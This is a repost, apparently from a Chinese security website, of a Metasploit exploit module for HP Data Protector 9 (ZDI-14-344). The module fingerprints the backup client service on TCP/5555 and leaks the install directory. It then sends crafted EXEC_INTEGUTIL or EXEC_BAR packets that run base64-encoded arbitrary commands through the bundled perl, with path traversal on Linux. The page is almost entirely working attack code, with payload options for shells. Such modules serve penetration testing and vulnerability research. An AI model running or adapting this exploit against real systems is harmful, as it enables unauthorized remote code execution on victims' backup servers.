首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HP Data Protector EXEC_INTEGUTIL Remote Code Execution
来源:metasploit.com 作者:vazquez 发布时间:2014-10-22  
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'HP Data Protector EXEC_INTEGUTIL Remote Code Execution',
      'Description'     => %q{
        This exploit abuses a vulnerability in the HP Data Protector. The vulnerability exists
        in the Backup client service, which listens by default on TCP/5555. The EXEC_INTEGUTIL
        request allows to execute arbitrary commands from a restricted directory. Since it
        includes a perl executable, it's possible to use an EXEC_INTEGUTIL packet to execute
        arbitrary code. On linux targets, the perl binary isn't on the restricted directory, but
        an EXEC_BAR packet can be used to access the perl binary, even in the last version of HP
        Data Protector for linux.  This module has been tested successfully on HP Data Protector
        9 over Windows 2008 R2 64 bits and CentOS 6 64 bits.
      },
      'Author'          =>
        [
          'Aniway.Anyway <Aniway.Anyway[at]gmail.com>', # vulnerability discovery
          'juan vazquez'                                # msf module
        ],
      'References'      =>
        [
          [ 'ZDI', '14-344']
        ],
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          # The powershell embedded payload takes some time to deploy
          'WfsDelay' => 20
        },
      'Targets'         =>
        [
          [ 'Linux 64 bits / HP Data Protector 9',
            {
              'Platform' => 'unix',
              'Arch'     => ARCH_CMD,
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'cmd cmd_bash',
                  'RequiredCmd' => 'perl gawk bash-tcp openssl python generic'
                }
              }
            }
          ],
          [ 'Windows 64 bits / HP Data Protector 9',
            {
              'Platform' => 'win',
              'Arch'     => ARCH_CMD,
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'cmd',
                  'RequiredCmd' => 'powershell'
                }
              }
            }
          ]
        ],
      'DefaultTarget'   => 0,
      'Privileged'      => true,
      'DisclosureDate'  => 'Oct 2 2014'
    ))

    register_options(
      [
        Opt::RPORT(5555)
      ], self.class)
  end

  def check
    fingerprint = get_fingerprint

    if fingerprint.nil?
      return Exploit::CheckCode::Unknown
    end

    if fingerprint =~ /Data Protector A\.(\d+\.\d+)/
      version = $1
      vprint_status("#{peer} - Windows / HP Data Protector version #{version} found")
    elsif fingerprint =~ / INET/
      vprint_status("#{peer} - Linux / HP Data Protector found")
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end

    if Gem::Version.new(version) <= Gem::Version.new('9')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Detected # there is no patch at the time of module writing
  end

  def exploit
    rand_exec = rand_text_alpha(8)
    print_status("#{peer} - Leaking the HP Data Protector directory...")
    leak = leak_hp_directory(rand_exec)
    dir = parse_dir(leak, rand_exec)

    if dir.nil?
      dir = default_hp_dir
      print_error("#{peer} - HP Data Protector dir not found, using the default #{dir}")
    else
      unless valid_target?(dir)
        print_error("#{peer} - HP Data Protector directory leaked as #{dir}, #{target.name} looks incorrect, trying anyway...")
      end
    end

    if target.name =~ /Windows/
      #command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true})
      print_status("#{peer} - Executing payload...")
      execute_windows(payload.encoded, dir)
    else
      print_status("#{peer} - Executing payload...")
      execute_linux(payload.encoded, dir)
    end
  end

  def peer
    "#{rhost}:#{rport}"
  end

  def build_pkt(fields)
    data = "\xff\xfe" # BOM Unicode
    fields.each do |v|
      data << "#{Rex::Text.to_unicode(v)}\x00\x00"
      data << Rex::Text.to_unicode(" ") # Separator
    end

    data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator
    return [data.length].pack("N") + data
  end

  def get_fingerprint
    fingerprint = get_fingerprint_windows
    if fingerprint.nil?
      fingerprint = get_fingerprint_linux
    end

    fingerprint
  end

  def get_fingerprint_linux
    connect

    sock.put([2].pack("N") + "\xff\xfe")
    begin
      res = sock.get_once(4)
    rescue EOFError
      disconnect
      return nil
    end

    if res.nil?
      disconnect
      return nil
    else
      length = res.unpack("N")[0]
    end

    begin
      res = sock.get_once(length)
    rescue EOFError
      return nil
    ensure
      disconnect
    end

    if res.nil?
      return nil
    end

    res
  end

  def get_fingerprint_windows
    connect

    sock.put(rand_text_alpha_upper(64))
    begin
    res = sock.get_once(4)
    rescue ::Errno::ECONNRESET, EOFError
      disconnect
      return nil
    end

    if res.nil?
      disconnect
      return nil
    else
      length = res.unpack("N")[0]
    end

    begin
      res = sock.get_once(length)
    rescue EOFError
      return nil
    ensure
      disconnect
    end

    if res.nil?
      return nil
    end

    Rex::Text.to_ascii(res).chop.chomp # Delete unicode last null
  end

  def leak_hp_directory(rand_exec)
    connect
    pkt = build_pkt([
      "2", # Message Type
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      "28", # Opcode EXEC_INTEGUTIL
      rand_exec,
    ])

    sock.put(pkt)
    begin
      res = sock.get_once(4)
    rescue EOFError
      disconnect
      return nil
    end

    if res.nil?
      disconnect
      return nil
    else
      length = res.unpack("N")[0]
    end

    begin
    res = sock.get_once(length)
    rescue EOFError
      return nil
    ensure
      disconnect
    end

    if res.nil?
      return nil
    end

    if res =~ /No such file or directory/ # Linux signature
      return res
    else # deal as windows target
      return Rex::Text.to_ascii(res).chop.chomp # Delete unicode last null
    end
  end

  def parse_dir(data, clue)
    if data && data =~ /The system cannot find the file specified\..*(.:\\.*)bin\\#{clue}/
      dir = $1
      print_good("#{peer} - HP Data Protector directory found on #{dir}")
    elsif data && data =~ /\]\x00 (\/.*)lbin\/#{clue}\x00 \[\d\] No such file or directory/
      dir = $1
      print_good("#{peer} - HP Data Protector directory found on #{dir}")
    else
      dir = nil
    end

    dir
  end

  def valid_target?(dir)
    if target.name =~ /Windows/ && dir =~ /^[A-Za-z]:\\/
      return true
    elsif target.name =~ /Linux/ && dir.start_with?('/')
      return true
    end

    false
  end

  def default_hp_dir
    if target.name =~ /Windows/
      dir = 'C:\\Program Files\\OmniBack\\'
    else # linux
      dir = '/opt/omni/lbin/'
    end

    dir
  end

  def execute_windows(cmd, hp_dir)
    connect
    pkt = build_pkt([
      "2", # Message Type
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      "28", # Opcode EXEC_INTEGUTIL
      "perl.exe",
      "-I#{hp_dir}lib\\perl",
      "-MMIME::Base64",
      "-e",
      "system(decode_base64('#{Rex::Text.encode_base64(cmd)}'))"
    ])
    sock.put(pkt)
    disconnect
  end

  def execute_linux(cmd, hp_dir)
    connect
    pkt = build_pkt([
      '2', # Message Type
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      '11', # Opcode EXEC_BAR
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      "../bin/perl",
      rand_text_alpha(8),
      "-I#{hp_dir}lib/perl",
      '-MMIME::Base64',
      '-e',
      "system(decode_base64('#{Rex::Text.encode_base64(cmd)}'))"
    ])
    sock.put(pkt)
    disconnect
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Joomla Akeeba Kickstart Unseri
·Incredible PBX 11 2.0.6.5.0 Re
·Numara / BMC Track-It! FileSto
·DotNetNuke DNNspot Store 3.0.0
·Windows OLE Package Manager Sa
·Feng Office 1.7.4 - Arbitrary
·ZTE ZXDSL-931VII - Unauthentic
·Free WMA MP3 Converter 1.8 SEH
·Drupal HTTP Parameter Key/Valu
·Free WMA MP3 Converter 1.8 Buf
·Linux PolicyKit Race Condition
·WordPress / Joomla Creative Co
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved